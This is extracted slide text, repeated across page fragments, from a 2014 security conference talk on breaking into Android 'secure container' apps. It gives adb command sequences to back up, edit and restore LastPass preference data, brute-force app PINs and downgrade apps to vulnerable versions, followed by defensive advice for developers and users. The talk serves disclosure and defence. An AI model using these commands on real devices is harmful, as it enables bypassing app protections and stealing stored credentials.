
Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 149: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 150: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 151: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

